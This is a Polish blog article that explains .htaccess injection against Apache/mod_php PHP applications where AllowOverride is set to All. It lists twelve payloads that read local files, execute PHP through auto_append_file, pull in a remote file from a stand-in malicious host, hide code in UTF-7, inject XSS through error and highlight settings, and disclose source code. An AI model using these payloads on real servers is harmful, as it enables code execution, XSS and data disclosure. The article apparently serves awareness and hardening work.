Wstrzykiwanie .htaccess do aplikacji PHP
Napisał: Patryk Krawaczyński
22/01/2017 w Ataki Internetowe, Bezpieczeństwo Brak komentarzy. (artykuł nr 583, ilość słów: 329)
M
imo, że nginx zyskuje coraz więcej na popularności, jeśli chodzi o główny serwer serwujący treści w internecie to Apache z jego mod_php nadal jest faworyzowany w większości systemów CMS oraz webaplikacji napisanych w języku PHP. Bardzo częstym błędem jest oddawanie pełnej kontroli takim aplikacjom i ustawianiu dla ich katalogu opcji AllowOverride
na wartość All
. Poniżej znajduje się kilka przykładów (w większości działają nawet z 7 wersją PHP), które po wstrzyknięciu / umieszczeniu pliku .htaccess
do takiego katalogu dają ciekawe efekty:
1. Zawarcie innego pliku:
Warunek: pusty plik index.php
Zawartość .htaccess:
php_value auto_append_file /etc/hosts
2. Wykonanie kodu PHP:
Warunek: pusty plik index.php
Zawartość .htaccess:
php_value auto_append_file .htaccess #<?php phpinfo();
3. Zawarcie lokalnego lub zdalnego pliku:
Warunek: pusty plik index.php
Zawartość .htaccess:
php_flag allow_url_include 1 php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B #php_value auto_append_file https://zloczynca.pl/zly-kod.txt
4. XSS i wykonanie kodu z pomocą UTF-7:
Warunek: pusty plik index.php
Zawartość .htaccess:
php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7" php_value auto_append_file .htaccess #+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs
5. XSS poprzez link komunikatu błędu:
Warunek: plik index.php wyświetla komunikat błędu
<?php include('foo');
Zawartość .htaccess:
php_flag display_errors 1 php_flag html_errors 1 php_value docref_root "'><script>alert(1);</script>"
6. XSS poprzez rozszerzenie komunikatu błędu:
Warunek: plik index.php wyświetla komunikat błędu
<?php include('foo');
Zawartość .htaccess:
php_flag display_errors 1 php_flag html_errors 1 php_value docref_root "x" php_value docref_ext "<script>alert(1);</script>"
7. XSS poprzez wyróżnienie phps:
Warunek: włączona obsługa plików .phps
<FilesMatch ".+\.phps$"> SetHandler application/x-httpd-php-source Order Allow,Deny Allow from all </FilesMatch>
Zawartość .index.phps:
<?php test(); // comment ?> text
Zawartość .htaccess:
php_value highlight.comment '"><script>alert(1);</script>'
8. XSS poprzez funkcję highlight_file()
Zawartość:index.php
< ?php highlight_file(__FILE__); // comment
Zawartość .htaccess:
php_value highlight.comment '"><script>alert(1);</script>'
9. Nieudane wstrzyknięcie PHP przez error_log oraz include_path:
Warunek: W tym przykładzie PHP prawidłowo enkoduje encje HTML w wpisach logów.
Zawartość index.php:
<?php include('foo');
Zawartość .htaccess:
php_value error_log /var/www/foo.php php_value include_path "<?php phpinfo(); __halt_compiler();"
10. Nieudane wstrzyknięcie PHP przez error_log oraz auto_prepend_file:
Warunek: pusty plik index.php
Zawartość .htaccess:
php_value error_log /var/www/foo.php php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"
11. Wstrzyknięcie kodu PHP przez error_log oraz UTF-7:
Warunek: pusty plik index.php
Zawartość .htaccess:
php_value error_log /var/www/foo.php #---- "<?php phpinfo(); __halt_compiler();" zapisany w UTF-7: php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs" php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7"
12. Ujawnienie kodu źródłowego:
Zawartość index.php:
<?php some_code();
Zawartość .htaccess:
php_flag engine 0
Więcej informacji: PHP htaccess injection cheat sheet